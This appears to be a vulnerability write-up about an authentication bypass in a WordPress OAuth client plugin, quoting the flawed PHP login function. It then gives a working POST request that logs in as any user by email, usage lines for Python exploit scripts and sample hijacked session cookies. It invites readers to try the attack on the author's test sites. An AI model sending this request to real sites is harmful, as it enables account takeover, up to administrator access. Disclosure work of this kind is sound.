The plugin was affected by an Auth Bypass vulnerability. To bypass authentication, we only need to know the user’s email address. Depending on whose email address we know, we may even be given an administrator role on the client’s website.


Let’s check the plugin

The mo_oauth_login_validate() function includes the following request handling:

if ( isset( $_REQUEST['option'] ) and strpos( $_REQUEST['option'], 'mooauth' ) !== false ) {

	$user_email = '';
	if ( array_key_exists( 'email', $_POST ) ) {
		$user_email = sanitize_email( $_POST['email'] );
	if ( $user_email ) {
		if ( email_exists( $user_email ) ) { // user is a member
			$user    = get_user_by( 'email', $user_email );
			$user_id = $user->ID;
			wp_set_auth_cookie( $user_id, true );
		} else { // this user is a guest
			$random_password = wp_generate_password( 10, false );
			$user_id         = wp_create_user( $user_email, $random_password, $user_email );
			wp_set_auth_cookie( $user_id, true );
	wp_redirect( home_url() );

We can see from the code that if we specify $_POST['email'], the plugin will log the user in using the wp_set_auth_cookie() function. No verification or authentication. Nothing.

The other problem with the plugin is that if we give an email address in the request that does not exist in the database, it will create a new user, even if registration on the WordPress website is not enabled.


Let’s see how we can exploit this vulnerability

We only need to send a POST request to exploit this vulnerability.

The HTTP request to the which is a test WordPress website:

POST /vdb/miniorange-oauth-client/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

option=mooauth&[email protected]


The exploit script

I created a Python script that returns the WordPress logged_in and auth cookie:


How to use:

python3 --client_url="" --email="[email protected]"

Run the above command in the Linux terminal.

We get something like this:

Response Cookies:

Name: wordpress_logged_in_7c51fdb9c753be4972c4c2d647b5ded1
Value: test%7C1686426341%7Covlpse3PQPmNIZuHpKy7yKTmIn83OlmS3y0CjKdZoq8%7C48ff87043f0c1f349c9dd502178a6d607d37daac4899df88ca6a55736b32ce10
Path: /vdb/miniorange-oauth-client/
Expires: 1686469541
Secure: True
HttpOnly: False

Name: wordpress_sec_7c51fdb9c753be4972c4c2d647b5ded1
Value: test%7C1686426341%7Covlpse3PQPmNIZuHpKy7yKTmIn83OlmS3y0CjKdZoq8%7C1dce377c7292acd122736a3520178bf40e58de8a403bcbb5cac1515cbba6ab77
Path: /vdb/miniorange-oauth-client/wp-admin
Expires: 1686469541
Secure: True
HttpOnly: False

Then all we have to do is set the cookie using the browser’s Developer Tools on the client’s website, which in our case is

The professional exploit script

I also created a Python script with Selenium that exploits the vulnerability and automatically opens the webpage in Google Chrome:


How to use:

python3 --client_url="" --email="[email protected]"

Run the above command in the Linux (desktop version) terminal.


Try it

Feel free to try and use the WordPress websites for testing. I have set the roles and capabilities, so you can only get low level access to the website.




Additional tests

I created a Postman request for exploit: Postman Web – MiniOrange Auth Request

Can be used by anyone after fork. The required variables are stored in the collection.